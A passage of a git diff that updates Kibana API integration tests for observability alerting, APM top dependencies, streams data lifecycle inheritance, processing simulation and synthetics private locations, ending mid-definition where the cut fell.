import { Client } from '@elastic/elasticsearch'; import { resourceNames } from '@kbn/observability-ai-assistant-plugin/server/service'; import { ToolingLog } from '@kbn/tooling-log'; import path from 'path'; -import { AI_ASSISTANT_SNAPSHOT_REPO_PATH } from '../../../../default_configs/common_paths'; +import { AI_ASSISTANT_SNAPSHOT_REPO_PATH } from '@kbn/test-suites-xpack-platform/api_integration_deployment_agnostic/default_configs/common_paths'; export async function restoreKbSnapshot({ log, diff --git a/x-pack/test/api_integration/deployment_agnostic/apis/observability/alerting/custom_threshold/avg_pct_fired.ts b/x-pack/test/api_integration/deployment_agnostic/apis/observability/alerting/custom_threshold/avg_pct_fired.ts index a7aa6a53c3731..dc22df99f45c7 100644 --- a/x-pack/test/api_integration/deployment_agnostic/apis/observability/alerting/custom_threshold/avg_pct_fired.ts +++ b/x-pack/test/api_integration/deployment_agnostic/apis/observability/alerting/custom_threshold/avg_pct_fired.ts @@ -279,7 +279,6 @@ export default function ({ getService }: DeploymentAgnosticFtrProviderContext) { expect(resp.hits.hits[0]._source?.viewInAppUrl).contain('DISCOVER_APP_LOCATOR'); expect(omit(parsedViewInAppUrl.params, 'timeRange.from')).eql({ dataViewId: DATA_VIEW_ID, - dataViewSpec: DATA_VIEW_ID, timeRange: { to: 'now' }, query: { query: '', language: 'kuery' }, filters: [], diff --git a/x-pack/test/api_integration/deployment_agnostic/apis/observability/alerting/custom_threshold/avg_pct_no_data.ts b/x-pack/test/api_integration/deployment_agnostic/apis/observability/alerting/custom_threshold/avg_pct_no_data.ts index 1b9f71581c9c0..4be2af2d76449 100644 --- a/x-pack/test/api_integration/deployment_agnostic/apis/observability/alerting/custom_threshold/avg_pct_no_data.ts +++ b/x-pack/test/api_integration/deployment_agnostic/apis/observability/alerting/custom_threshold/avg_pct_no_data.ts @@ -235,7 +235,6 @@ export default function ({ getService }: DeploymentAgnosticFtrProviderContext) { expect(resp.hits.hits[0]._source?.viewInAppUrl).contain('DISCOVER_APP_LOCATOR'); expect(omit(parsedViewInAppUrl.params, 'timeRange.from')).eql({ dataViewId: DATA_VIEW_ID, - dataViewSpec: DATA_VIEW_ID, timeRange: { to: 'now' }, query: { query: '', language: 'kuery' }, filters: [], diff --git a/x-pack/test/api_integration/deployment_agnostic/apis/observability/alerting/custom_threshold/avg_ticks_fired.ts b/x-pack/test/api_integration/deployment_agnostic/apis/observability/alerting/custom_threshold/avg_ticks_fired.ts index 9a28d5681ed3f..675b4e18c85a2 100644 --- a/x-pack/test/api_integration/deployment_agnostic/apis/observability/alerting/custom_threshold/avg_ticks_fired.ts +++ b/x-pack/test/api_integration/deployment_agnostic/apis/observability/alerting/custom_threshold/avg_ticks_fired.ts @@ -277,7 +277,6 @@ export default function ({ getService }: DeploymentAgnosticFtrProviderContext) { expect(resp.hits.hits[0]._source?.viewInAppUrl).contain('DISCOVER_APP_LOCATOR'); expect(omit(parsedViewInAppUrl.params, 'timeRange.from')).eql({ dataViewId: DATA_VIEW_ID, - dataViewSpec: DATA_VIEW_ID, timeRange: { to: 'now' }, query: { query: '', language: 'kuery' }, filters: [], diff --git a/x-pack/test/api_integration/deployment_agnostic/apis/observability/alerting/custom_threshold/cardinality_runtime_field_fired.ts b/x-pack/test/api_integration/deployment_agnostic/apis/observability/alerting/custom_threshold/cardinality_runtime_field_fired.ts index b40cf2e8a1e14..349a4e92219b5 100644 --- a/x-pack/test/api_integration/deployment_agnostic/apis/observability/alerting/custom_threshold/cardinality_runtime_field_fired.ts +++ b/x-pack/test/api_integration/deployment_agnostic/apis/observability/alerting/custom_threshold/cardinality_runtime_field_fired.ts @@ -280,7 +280,6 @@ export default function ({ getService }: DeploymentAgnosticFtrProviderContext) { expect(resp.hits.hits[0]._source?.viewInAppUrl).contain('DISCOVER_APP_LOCATOR'); expect(omit(parsedViewInAppUrl.params, 'timeRange.from')).eql({ dataViewId: DATA_VIEW_ID, - dataViewSpec: DATA_VIEW_ID, timeRange: { to: 'now' }, query: { query: '', language: 'kuery' }, filters: [], diff --git a/x-pack/test/api_integration/deployment_agnostic/apis/observability/alerting/custom_threshold/documents_count_fired.ts b/x-pack/test/api_integration/deployment_agnostic/apis/observability/alerting/custom_threshold/documents_count_fired.ts index 0e2f95bd92b12..aae89bda008bf 100644 --- a/x-pack/test/api_integration/deployment_agnostic/apis/observability/alerting/custom_threshold/documents_count_fired.ts +++ b/x-pack/test/api_integration/deployment_agnostic/apis/observability/alerting/custom_threshold/documents_count_fired.ts @@ -266,7 +266,6 @@ export default function ({ getService }: DeploymentAgnosticFtrProviderContext) { expect(resp.hits.hits[0]._source?.viewInAppUrl).contain('DISCOVER_APP_LOCATOR'); expect(omit(parsedViewInAppUrl.params, 'timeRange.from')).eql({ dataViewId: DATA_VIEW_ID, - dataViewSpec: DATA_VIEW_ID, timeRange: { to: 'now' }, query: { query: 'host.name:* and container.id:*', language: 'kuery' }, filters: [], diff --git a/x-pack/test/api_integration/deployment_agnostic/apis/observability/alerting/synthetics/custom_status_rule.ts b/x-pack/test/api_integration/deployment_agnostic/apis/observability/alerting/synthetics/custom_status_rule.ts index 088262b77d202..76204d1290621 100644 --- a/x-pack/test/api_integration/deployment_agnostic/apis/observability/alerting/synthetics/custom_status_rule.ts +++ b/x-pack/test/api_integration/deployment_agnostic/apis/observability/alerting/synthetics/custom_status_rule.ts @@ -5,7 +5,7 @@ * 2.0. */ import expect from '@kbn/expect'; -import moment from 'moment'; +import moment from 'moment-timezone'; import { SYNTHETICS_API_URLS } from '@kbn/synthetics-plugin/common/constants'; import type { SyntheticsMonitorStatusRuleParams as StatusRuleParams } from '@kbn/response-ops-rule-params/synthetics_monitor_status'; import { waitForDocumentInIndex } from '@kbn/test-suites-xpack-observability/alerting_api_integration/observability/helpers/alerting_wait_for_helpers'; diff --git a/x-pack/test/api_integration/deployment_agnostic/apis/observability/alerting/synthetics/synthetics_rule_helper.ts b/x-pack/test/api_integration/deployment_agnostic/apis/observability/alerting/synthetics/synthetics_rule_helper.ts index 234c7fe046443..bf6c6cd23efba 100644 --- a/x-pack/test/api_integration/deployment_agnostic/apis/observability/alerting/synthetics/synthetics_rule_helper.ts +++ b/x-pack/test/api_integration/deployment_agnostic/apis/observability/alerting/synthetics/synthetics_rule_helper.ts @@ -15,7 +15,7 @@ import moment from 'moment'; import type { QueryDslQueryContainer } from '@elastic/elasticsearch/lib/api/types'; import { SYNTHETICS_API_URLS } from '@kbn/synthetics-plugin/common/constants'; import expect from '@kbn/expect'; -import { SupertestWithRoleScope } from '../../../../services/role_scoped_supertest'; +import { SupertestWithRoleScope } from '@kbn/test-suites-xpack-platform/api_integration_deployment_agnostic/services/role_scoped_supertest'; import { DeploymentAgnosticFtrProviderContext } from '../../../../ftr_provider_context'; import { AlertingApiProvider } from '../../../../services/alerting_api'; diff --git a/x-pack/test/api_integration/deployment_agnostic/apis/observability/apm/data_view/static.spec.ts b/x-pack/test/api_integration/deployment_agnostic/apis/observability/apm/data_view/static.spec.ts index 4682b1805232b..f7cf8e97c59fd 100644 --- a/x-pack/test/api_integration/deployment_agnostic/apis/observability/apm/data_view/static.spec.ts +++ b/x-pack/test/api_integration/deployment_agnostic/apis/observability/apm/data_view/static.spec.ts @@ -12,11 +12,11 @@ import { DataView } from '@kbn/data-views-plugin/common'; import { ELASTIC_HTTP_VERSION_HEADER } from '@kbn/core-http-common'; import request from 'superagent'; import { getStaticDataViewId } from '@kbn/apm-data-view'; +import { SupertestWithRoleScope } from '@kbn/test-suites-xpack-platform/api_integration_deployment_agnostic/services/role_scoped_supertest'; import { SupertestReturnType, ApmApiError, -} from '@kbn/test-suites-xpack-observability/apm_api_integration/common/apm_api_supertest'; -import { SupertestWithRoleScope } from '../../../../services/role_scoped_supertest'; +} from '../../../../../../apm_api_integration/common/apm_api_supertest'; import type { DeploymentAgnosticFtrProviderContext } from '../../../../ftr_provider_context'; export default function ApiTest({ getService }: DeploymentAgnosticFtrProviderContext) { diff --git a/x-pack/test/api_integration/deployment_agnostic/apis/observability/apm/dependencies/generate_data.ts b/x-pack/test/api_integration/deployment_agnostic/apis/observability/apm/dependencies/generate_data.ts index e306f52653c51..8389be63b1b11 100644 --- a/x-pack/test/api_integration/deployment_agnostic/apis/observability/apm/dependencies/generate_data.ts +++ b/x-pack/test/api_integration/deployment_agnostic/apis/observability/apm/dependencies/generate_data.ts @@ -22,6 +22,8 @@ export const dataConfig = { }, }; +export const NUMBER_OF_DEPENDENCIES_PER_SERVICE = 50; + export async function generateData({ apmSynthtraceEsClient, start, @@ -46,12 +48,17 @@ export async function generateData({ .duration(transaction.duration) .success() .children( - instance - .span({ spanName: span.name, spanType: span.type, spanSubtype: span.subType }) - .duration(transaction.duration) - .success() - .destination(span.destination) - .timestamp(timestamp) + ...Array.from({ length: NUMBER_OF_DEPENDENCIES_PER_SERVICE }, (_, i) => + instance + .span({ + spanName: `${span.name} ${i + 1}`, + spanType: span.type, + spanSubtype: span.subType, + }) + .duration(transaction.duration) + .destination(`${span.destination}/${i + 1}`) + .timestamp(timestamp) + ) ) ); diff --git a/x-pack/test/api_integration/deployment_agnostic/apis/observability/apm/dependencies/top_dependencies.spec.ts b/x-pack/test/api_integration/deployment_agnostic/apis/observability/apm/dependencies/top_dependencies.spec.ts index 76a07c0755de4..2c9da160d30e8 100644 --- a/x-pack/test/api_integration/deployment_agnostic/apis/observability/apm/dependencies/top_dependencies.spec.ts +++ b/x-pack/test/api_integration/deployment_agnostic/apis/observability/apm/dependencies/top_dependencies.spec.ts @@ -16,6 +16,10 @@ type TopDependencies = APIReturnType<'GET /internal/apm/dependencies/top_depende type TopDependenciesStatistics = APIReturnType<'POST /internal/apm/dependencies/top_dependencies/statistics'>; +const DEPENDENCY_NAMES = [ + dataConfig.span.destination, + ...Array.from({ length: 25 }, (_, i) => `${dataConfig.span.destination}/${i + 1}`), +]; export default function ApiTest({ getService }: DeploymentAgnosticFtrProviderContext) { const apmApiClient = getService('apmApi'); const synthtrace = getService('synthtrace'); @@ -51,7 +55,7 @@ export default function ApiTest({ getService }: DeploymentAgnosticFtrProviderCon numBuckets: 20, }, body: { - dependencyNames: JSON.stringify([dataConfig.span.destination]), + dependencyNames: JSON.stringify(DEPENDENCY_NAMES), }, }, }); @@ -83,7 +87,7 @@ export default function ApiTest({ getService }: DeploymentAgnosticFtrProviderCon it('returns an array of dependencies', () => { expect(topDependencies).to.have.property('dependencies'); - expect(topDependencies.dependencies).to.have.length(1); + expect(topDependencies.dependencies).to.have.length(51); // 50 dependencies + 1 dependency from the failed transaction }); it('returns correct dependency information', () => { @@ -101,7 +105,10 @@ export default function ApiTest({ getService }: DeploymentAgnosticFtrProviderCon let dependencies: TopDependencies['dependencies'][number]; before(() => { - dependencies = topDependencies.dependencies[0]; + dependencies = + topDependencies.dependencies.find( + (dep) => dep.location.dependencyName === dataConfig.span.destination + ) ?? topDependencies.dependencies[0]; }); it("doesn't have previous stats", () => { @@ -119,6 +126,12 @@ export default function ApiTest({ getService }: DeploymentAgnosticFtrProviderCon expect(dependencies.currentStats.errorRate).to.not.have.property('timeseries'); }); + it('returns the correct number of statistics', () => { + expect(Object.keys(topDependenciesStats.currentTimeseries).length).to.be( + DEPENDENCY_NAMES.length + ); + }); + it('returns the correct latency', () => { const { currentStats: { latency }, @@ -139,9 +152,8 @@ export default function ApiTest({ getService }: DeploymentAgnosticFtrProviderCon const { currentStats: { throughput }, } = dependencies; - const { rate, errorRate } = dataConfig; - - const totalRate = rate + errorRate; + const { errorRate } = dataConfig; + const totalRate = errorRate; expect(roundNumber(throughput.value)).to.be(roundNumber(totalRate)); expect( topDependenciesStats.currentTimeseries[dataConfig.span.destination].throughput.every( @@ -154,9 +166,9 @@ export default function ApiTest({ getService }: DeploymentAgnosticFtrProviderCon const { currentStats: { totalTime }, } = dependencies; - const { rate, transaction, errorRate } = dataConfig; + const { transaction, errorRate } = dataConfig; - const expectedValuePerBucket = (rate + errorRate) * transaction.duration * 1000; + const expectedValuePerBucket = errorRate * transaction.duration * 1000; expect(totalTime.value).to.be(expectedValuePerBucket * bucketSize); }); @@ -164,8 +176,8 @@ export default function ApiTest({ getService }: DeploymentAgnosticFtrProviderCon const { currentStats: { errorRate }, } = dependencies; - const { rate, errorRate: dataConfigErroRate } = dataConfig; - const expectedValue = dataConfigErroRate / (rate + dataConfigErroRate); + const { errorRate: dataConfigErroRate } = dataConfig; + const expectedValue = dataConfigErroRate / dataConfigErroRate; expect(errorRate.value).to.be(expectedValue); expect( topDependenciesStats.currentTimeseries[dataConfig.span.destination].errorRate.every( diff --git a/x-pack/test/api_integration/deployment_agnostic/apis/observability/dataset_quality/integration_dashboards.ts b/x-pack/test/api_integration/deployment_agnostic/apis/observability/dataset_quality/integration_dashboards.ts index 4d9b6355cf3e9..f0207d208cafb 100644 --- a/x-pack/test/api_integration/deployment_agnostic/apis/observability/dataset_quality/integration_dashboards.ts +++ b/x-pack/test/api_integration/deployment_agnostic/apis/observability/dataset_quality/integration_dashboards.ts @@ -6,7 +6,7 @@ */ import expect from '@kbn/expect'; -import { CustomIntegration } from '../../../services/package_api'; +import { CustomIntegration } from '@kbn/test-suites-xpack-platform/api_integration_deployment_agnostic/services/package_api'; import { DeploymentAgnosticFtrProviderContext } from '../../../ftr_provider_context'; import { RoleCredentials, SupertestWithRoleScopeType } from '../../../services'; diff --git a/x-pack/test/api_integration/deployment_agnostic/apis/observability/dataset_quality/integrations.ts b/x-pack/test/api_integration/deployment_agnostic/apis/observability/dataset_quality/integrations.ts index 0a401b58feb11..f22980330d990 100644 --- a/x-pack/test/api_integration/deployment_agnostic/apis/observability/dataset_quality/integrations.ts +++ b/x-pack/test/api_integration/deployment_agnostic/apis/observability/dataset_quality/integrations.ts @@ -8,7 +8,7 @@ import expect from '@kbn/expect'; import { v4 as uuid } from 'uuid'; import { APIReturnType } from '@kbn/dataset-quality-plugin/common/rest'; -import { CustomIntegration } from '../../../services/package_api'; +import { CustomIntegration } from '@kbn/test-suites-xpack-platform/api_integration_deployment_agnostic/services/package_api'; import { DeploymentAgnosticFtrProviderContext } from '../../../ftr_provider_context'; import { RoleCredentials, SupertestWithRoleScopeType } from '../../../services'; diff --git a/x-pack/test/api_integration/deployment_agnostic/apis/observability/streams/helpers/repository_client.ts b/x-pack/test/api_integration/deployment_agnostic/apis/observability/streams/helpers/repository_client.ts index 5c2635e7b5e2f..d0957af99393c 100644 --- a/x-pack/test/api_integration/deployment_agnostic/apis/observability/streams/helpers/repository_client.ts +++ b/x-pack/test/api_integration/deployment_agnostic/apis/observability/streams/helpers/repository_client.ts @@ -5,13 +5,13 @@ * 2.0. */ import type { StreamsRouteRepository } from '@kbn/streams-plugin/server'; +import { CustomRoleScopedSupertestProvider } from '@kbn/test-suites-xpack-platform/api_integration_deployment_agnostic/services/custom_role_scoped_supertest'; +import { RoleScopedSupertestProvider } from '@kbn/test-suites-xpack-platform/api_integration_deployment_agnostic/services/role_scoped_supertest'; import { RepositorySupertestClient, getAdminApiClient, getCustomRoleApiClient, } from '../../../../../../common/utils/server_route_repository/create_admin_service_from_repository'; -import { CustomRoleScopedSupertestProvider } from '../../../../services/custom_role_scoped_supertest'; -import { RoleScopedSupertestProvider } from '../../../../services/role_scoped_supertest'; export type StreamsSupertestRepositoryClient = RepositorySupertestClient; diff --git a/x-pack/test/api_integration/deployment_agnostic/apis/observability/streams/lifecycle.ts b/x-pack/test/api_integration/deployment_agnostic/apis/observability/streams/lifecycle.ts index 38d9ba888bc95..ee9b340f86b46 100644 --- a/x-pack/test/api_integration/deployment_agnostic/apis/observability/streams/lifecycle.ts +++ b/x-pack/test/api_integration/deployment_agnostic/apis/observability/streams/lifecycle.ts @@ -10,10 +10,13 @@ import expect from '@kbn/expect'; import { IngestStreamEffectiveLifecycle, IngestStreamLifecycle, + IngestStreamLifecycleDisabled, Streams, + isDisabledLifecycle, isDslLifecycle, isIlmLifecycle, } from '@kbn/streams-schema'; +import { IndicesManagedBy } from '@elastic/elasticsearch/lib/api/types'; import { disableStreams, enableStreams, @@ -48,11 +51,14 @@ export default function ({ getService }: DeploymentAgnosticFtrProviderContext) { const dataStreams = await esClient.indices.getDataStream({ name: streams }); for (const dataStream of dataStreams.data_streams) { if (isDslLifecycle(expectedLifecycle)) { + const managedBy: IndicesManagedBy = 'Data stream lifecycle'; + expect(dataStream.next_generation_managed_by).to.eql(managedBy); expect(dataStream.lifecycle?.data_retention).to.eql(expectedLifecycle.dsl.data_retention); - expect(dataStream.indices.every((index) => !index.ilm_policy)).to.eql( + expect(dataStream.indices.every((index) => index.managed_by === managedBy)).to.eql( true, - 'backing indices should not specify an ilm_policy' + 'backing indices should be managed by DSL' ); + if (!isServerless) { expect(dataStream.prefer_ilm).to.eql( false, @@ -64,6 +70,8 @@ export default function ({ getService }: DeploymentAgnosticFtrProviderContext) { ); } } else if (isIlmLifecycle(expectedLifecycle)) { + const managedBy: IndicesManagedBy = 'Index Lifecycle Management'; + expect(dataStream.next_generation_managed_by).to.eql(managedBy); expect(dataStream.prefer_ilm).to.eql( true, `data stream ${dataStream.name} should specify prefer_ilm` @@ -71,9 +79,20 @@ export default function ({ getService }: DeploymentAgnosticFtrProviderContext) { expect(dataStream.ilm_policy).to.eql(expectedLifecycle.ilm.policy); expect( dataStream.indices.every( - (index) => index.prefer_ilm && index.ilm_policy === expectedLifecycle.ilm.policy + (index) => + index.prefer_ilm && + index.ilm_policy === expectedLifecycle.ilm.policy && + index.managed_by === managedBy ) - ).to.eql(true, 'backing indices should specify prefer_ilm and ilm_policy'); + ).to.eql(true, 'backing indices should be managed by ILM'); + } else if (isDisabledLifecycle(expectedLifecycle)) { + const managedBy: IndicesManagedBy = 'Unmanaged'; + expect(dataStream.next_generation_managed_by).to.eql(managedBy); + expect(dataStream.indices.every((index) => index.managed_by === managedBy)); + } else { + throw new Error( + `Check against lifecycle [${JSON.stringify(expectedLifecycle)}] is not implemented` + ); } } } @@ -153,6 +172,27 @@ export default function ({ getService }: DeploymentAgnosticFtrProviderContext) { ); }); + it('inherits on creation', async () => { + const rootDefinition = await getStream(apiClient, 'logs'); + await putStream(apiClient, 'logs', { + dashboards: [], + queries: [], + stream: { + description: '', + ingest: { + ...(rootDefinition as Streams.WiredStream.GetResponse).stream.ingest, + lifecycle: { dsl: { data_retention: '50d' } }, + }, + }, + }); + await putStream(apiClient, 'logs.inheritsatcreation', wiredPutBody); + + await expectLifecycle(['logs.inheritsatcreation'], { + dsl: { data_retention: '50d' }, + from: 'logs', + }); + }); + it('inherits dsl', async () => { // create two branches, one that inherits from root and // another one that overrides the root lifecycle @@ -415,7 +455,10 @@ export default function ({ getService }: DeploymentAgnosticFtrProviderContext) { let clean: () => Promise; afterEach(() => clean?.()); - const createDataStream = async (name: string, lifecycle: IngestStreamLifecycle) => { + const createDataStream = async ( + name: string, + lifecycle: IngestStreamLifecycle | IngestStreamLifecycleDisabled + ) => { await esClient.indices.putIndexTemplate({ name, index_patterns: [name], @@ -438,7 +481,7 @@ export default function ({ getService }: DeploymentAgnosticFtrProviderContext) { } : undefined, }); - await esClient.indices.createDataStream({ name }); + await esClient.index({ index: name, document: { '@timestamp': new Date() } }); clean = async () => { await esClient.indices.deleteDataStream({ name }); @@ -446,15 +489,16 @@ export default function ({ getService }: DeploymentAgnosticFtrProviderContext) { }; }; - it('cannot update to inherit lifecycle', async () => { - const indexName = 'unwired-stream-inherit'; + it('inherit falls back to template dsl configuration', async () => { + const indexName = 'unwired-stream-inherit-dsl'; await createDataStream(indexName, { dsl: { data_retention: '77d' } }); // initially set to inherit which is a noop await putStream(apiClient, indexName, unwiredPutBody); + await esClient.indices.rollover({ alias: indexName }); await expectLifecycle([indexName], { dsl: { data_retention: '77d' } }); - // update to dsl + // update lifecycle await putStream(apiClient, indexName, { dashboards: [], queries: [], @@ -468,9 +512,9 @@ export default function ({ getService }: DeploymentAgnosticFtrProviderContext) { }); await expectLifecycle([indexName], { dsl: { data_retention: '2d' } }); - // fail to set inherit - await putStream(apiClient, indexName, unwiredPutBody, 400); - await expectLifecycle([indexName], { dsl: { data_retention: '2d' } }); + // inherit sets the lifecycle back to the template configuration + await putStream(apiClient, indexName, unwiredPutBody, 200); + await expectLifecycle([indexName], { dsl: { data_retention: '77d' } }); }); it('overrides dsl retention', async () => { @@ -552,6 +596,93 @@ export default function ({ getService }: DeploymentAgnosticFtrProviderContext) { await expectLifecycle([indexName], { ilm: { policy: 'my-policy' } }); }); + + it('inherit falls back to template dsl or ilm configuration', async () => { + const indexName = 'unwired-stream-inherit-dsl-ilm'; + const templateLifecycle = { ilm: { policy: 'my-policy' } }; + await createDataStream(indexName, templateLifecycle); + + // initially set to inherit which is a noop + await putStream(apiClient, indexName, unwiredPutBody); + await esClient.indices.rollover({ alias: indexName }); + await expectLifecycle([indexName], templateLifecycle); + + // update lifecycle + await putStream(apiClient, indexName, { + dashboards: [], + queries: [], + stream: { + description: '', + ingest: { + ...unwiredPutBody.stream.ingest, + lifecycle: { dsl: { data_retention: '2d' } }, + }, + }, + }); + await expectLifecycle([indexName], { dsl: { data_retention: '2d' } }); + + // inherit sets the lifecycle back to the template configuration + await putStream(apiClient, indexName, unwiredPutBody); + await expectLifecycle([indexName], templateLifecycle); + + // update the template to use a new ilm policy + await createDataStream(indexName, { ilm: { policy: 'my-updated-policy' } }); + await esClient.indices.rollover({ alias: indexName }); + + // since inherit gives control back to the template, new write indices should + // pick up the updated template + const { + data_streams: [{ indices }], + } = await esClient.indices.getDataStream({ name: indexName }); + expect(indices[indices.length - 1].ilm_policy).to.eql('my-updated-policy'); + expect(indices.slice(0, -1).every((index) => index.ilm_policy === 'my-policy')).to.eql( + true, + 'all indices up until the update should use the former policy' + ); + }); + + it('inherit falls back to template disabled configuration', async () => { + const indexName = 'unwired-stream-inherit-disabled'; + const templateLifecycle = { disabled: {} }; + await createDataStream(indexName, templateLifecycle); + + // initially set to inherit which is a noop + await putStream(apiClient, indexName, unwiredPutBody); + await esClient.indices.rollover({ alias: indexName }); + await expectLifecycle([indexName], templateLifecycle); + + // update lifecycle to dsl + await putStream(apiClient, indexName, { + dashboards: [], + queries: [], + stream: { + description: '', + ingest: { + ...unwiredPutBody.stream.ingest, + lifecycle: { dsl: { data_retention: '2d' } }, + }, + }, + }); + await expectLifecycle([indexName], { dsl: { data_retention: '2d' } }); + + // update lifecycle to ilm + await putStream(apiClient, indexName, { + dashboards: [], + queries: [], + stream: { + description: '', + ingest: { + ...unwiredPutBody.stream.ingest, + lifecycle: { ilm: { policy: 'my-policy' } }, + }, + }, + }); + await expectLifecycle([indexName], { ilm: { policy: 'my-policy' } }); + + // inherit sets the lifecycle back to the template configuration + await putStream(apiClient, indexName, unwiredPutBody); + await expectLifecycle([indexName], templateLifecycle); + }); } }); diff --git a/x-pack/test/api_integration/deployment_agnostic/apis/observability/streams/processing_simulate.ts b/x-pack/test/api_integration/deployment_agnostic/apis/observability/streams/processing_simulate.ts index 1f7e2aa608a66..09bbea07464ec 100644 --- a/x-pack/test/api_integration/deployment_agnostic/apis/observability/streams/processing_simulate.ts +++ b/x-pack/test/api_integration/deployment_agnostic/apis/observability/streams/processing_simulate.ts @@ -327,7 +327,7 @@ export default function ({ getService }: DeploymentAgnosticFtrProviderContext) { expect(dissectMetrics.skipped_rate).to.be(0.75); }); - it('should allow overriding fields detected by previous simulation processors (skip non-additive check)', async () => { + it('should allow overriding fields detected by previous simulation processors', async () => { const response = await simulateProcessingForStream(apiClient, 'logs.test', { processing: [ basicDissectProcessor, @@ -481,40 +481,6 @@ export default function ({ getService }: DeploymentAgnosticFtrProviderContext) { ]); }); - it('should gracefully return non-additive simulation errors', async () => { - const response = await simulateProcessingForStream(apiClient, 'logs.test', { - processing: [ - { - id: 'draft', - grok: { - field: 'body.text', - patterns: [ - // This overwrite the exising log.level and message values - '%{TIMESTAMP_ISO8601:attributes.parsed_timestamp} %{LOGLEVEL:severity_text} %{GREEDYDATA:body.text}', - ], - if: { always: {} }, - }, - }, - ], - documents: [{ ...createTestDocument(), severity_text: 'info' }], - }); - - const processorsMetrics = response.body.processors_metrics; - const grokMetrics = processorsMetrics.draft; - - expect(grokMetrics.errors).to.eql([ - { - processor_id: 'draft', - type: 'non_additive_processor_failure', - message: - 'The processor is not additive to the documents. It might update fields [body.text,severity_text]', - }, - ]); - // Non-additive changes are not counted as error - expect(grokMetrics.parsed_rate).to.be(1); - expect(grokMetrics.failed_rate).to.be(0); - }); - it('should gracefully return mappings simulation errors', async () => { const response = await simulateProcessingForStream(apiClient, 'logs.test', { processing: [ @@ -531,12 +497,6 @@ export default function ({ getService }: DeploymentAgnosticFtrProviderContext) { }); expect(response.body.documents[0].errors).to.eql([ - { - message: - 'The processor is not additive to the documents. It might update fields [@timestamp]', - processor_id: 'draft', - type: 'non_additive_processor_failure', - }, { message: "Some field types might not be compatible with this document: [1:15] failed to parse field [@timestamp] of type [date] in document with id '0'. Preview of field's value: '2025-04-04 00:00:00,000'", @@ -566,34 +526,6 @@ export default function ({ getService }: DeploymentAgnosticFtrProviderContext) { ]); expect(detectedFieldsFailureResponse.body.documents[0].status).to.be('failed'); }); - - it('should return the is_non_additive_simulation simulation flag', async () => { - const [additiveParsingResponse, nonAdditiveParsingResponse] = await Promise.all([ - simulateProcessingForStream(apiClient, 'logs.test', { - processing: [basicGrokProcessor], - documents: [createTestDocument()], - }), - simulateProcessingForStream(apiClient, 'logs.test', { - processing: [ - { - id: 'draft', - grok: { - field: 'body.text', - patterns: [ - // This overwrite the exising log.level and message values - '%{TIMESTAMP_ISO8601:attributes.parsed_timestamp} %{LOGLEVEL:severity_text} %{GREEDYDATA:attributes.message}', - ], - if: { always: {} }, - }, - }, - ], - documents: [{ ...createTestDocument(), severity_text: 'info' }], - }), - ]); - - expect(additiveParsingResponse.body.is_non_additive_simulation).to.be(false); - expect(nonAdditiveParsingResponse.body.is_non_additive_simulation).to.be(true); - }); }); }); } diff --git a/x-pack/test/api_integration/deployment_agnostic/apis/observability/synthetics/edit_private_location.ts b/x-pack/test/api_integration/deployment_agnostic/apis/observability/synthetics/edit_private_location.ts index efef66b610bf1..2cfeebc0511bb 100644 --- a/x-pack/test/api_integration/deployment_agnostic/apis/observability/synthetics/edit_private_location.ts +++ b/x-pack/test/api_integration/deployment_agnostic/apis/observability/synthetics/edit_private_location.ts @@ -81,6 +81,21 @@ export default function ({ getService }: DeploymentAgnosticFtrProviderContext) { rawExpect(apiResponse.body.locations).toEqual(rawExpect.arrayContaining(testResponse)); }); + it('successfully edits a private location label with no monitors assigned', async () => { + const privateLocation = privateLocations[0]; + + await supertestEditorWithApiKey + .put(`${SYNTHETICS_API_URLS.PRIVATE_LOCATIONS}/${privateLocation.id}`) + .send({ label: 'No monitors assigned' }) + .expect(200); + + // Set the label back, needed for the other tests + await supertestEditorWithApiKey + .put(`${SYNTHETICS_API_URLS.PRIVATE_LOCATIONS}/${privateLocation.id}`) + .send({ label: privateLocations[0].label }) + .expect(200); + }); + it('adds a monitor in private location', async () => { newMonitor = { ...getFixtureJson('http_monitor'), diff --git a/x-pack/test/api_integration/deployment_agnostic/apis/observability/synthetics/legacy_and_multispace_monitor_api.ts b/x-pack/test/api_integration/deployment_agnostic/apis/observability/synthetics/legacy_and_multispace_monitor_api.ts index 311cb77364d11..2063b13e03e71 100644 --- a/x-pack/test/api_integration/deployment_agnostic/apis/observability/synthetics/legacy_and_multispace_monitor_api.ts +++ b/x-pack/test/api_integration/deployment_agnostic/apis/observability/synthetics/legacy_and_multispace_monitor_api.ts @@ -7,7 +7,6 @@ import expect from '@kbn/expect'; import { v4 as uuidv4 } from 'uuid'; -import { RoleCredentials } from '@kbn/ftr-common-functional-services'; import { SYNTHETICS_API_URLS } from '@kbn/synthetics-plugin/common/constants'; import { syntheticsMonitorSavedObjectType, @@ -15,436 +14,473 @@ import { } from '@kbn/synthetics-plugin/common/types/saved_objects'; import { DeploymentAgnosticFtrProviderContext } from '../../../ftr_provider_context'; import { getFixtureJson } from './helpers/get_fixture_json'; +import { PrivateLocationTestService } from '../../../services/synthetics_private_location'; +import { SupertestWithRoleScopeType } from '../../../services'; + +const runTests = ( + { getService }: DeploymentAgnosticFtrProviderContext, + { usePrivateLocations }: { usePrivateLocations: boolean } +) => { + const roleScopedSupertest = getService('roleScopedSupertest'); + let supertestEditorWithApiKey: SupertestWithRoleScopeType; + const kibanaServer = getService('kibanaServer'); + const privateLocationService = new PrivateLocationTestService(getService); + + const saveMonitor = async (monitor: any, type: string, spaceId?: string) => { + let url = SYNTHETICS_API_URLS.SYNTHETICS_MONITORS + `?internal=true&savedObjectType=${type}`; + if (spaceId) { + url = `/s/${spaceId}${url}`; + monitor.spaces = [spaceId]; + } + const res = await supertestEditorWithApiKey.post(url).send(monitor); + expect(res.status).eql(200, JSON.stringify(res.body)); + return res.body; + }; + + const editMonitor = async (monitorId: string, monitor: any, type: string, spaceId?: string) => { + let url = SYNTHETICS_API_URLS.SYNTHETICS_MONITORS + `/${monitorId}?internal=true`; + if (spaceId) { + url = `/s/${spaceId}${url}`; + } + const res = await supertestEditorWithApiKey.put(url).send(monitor); + expect(res.status).eql(200, JSON.stringify(res.body)); + return res.body; + }; + + const deleteMonitor = async (monitorId: string, type: string, spaceId?: string) => { + let url = SYNTHETICS_API_URLS.SYNTHETICS_MONITORS + `/${monitorId}`; + if (spaceId) { + url = `/s/${spaceId}${url}`; + } + const res = await supertestEditorWithApiKey.delete(url).send(); + expect(res.status).eql(200, JSON.stringify(res.body)); + return res.body; + }; + + let legacyMonitor: any; + let multiMonitor: any; + let uuid: string; + let httpMonitor: any; + let editedLegacy: any; + let editedMulti: any; + let delLegacy: any; + let delMulti: any; + let privateLocation: any; + + const applyLocation = (data: 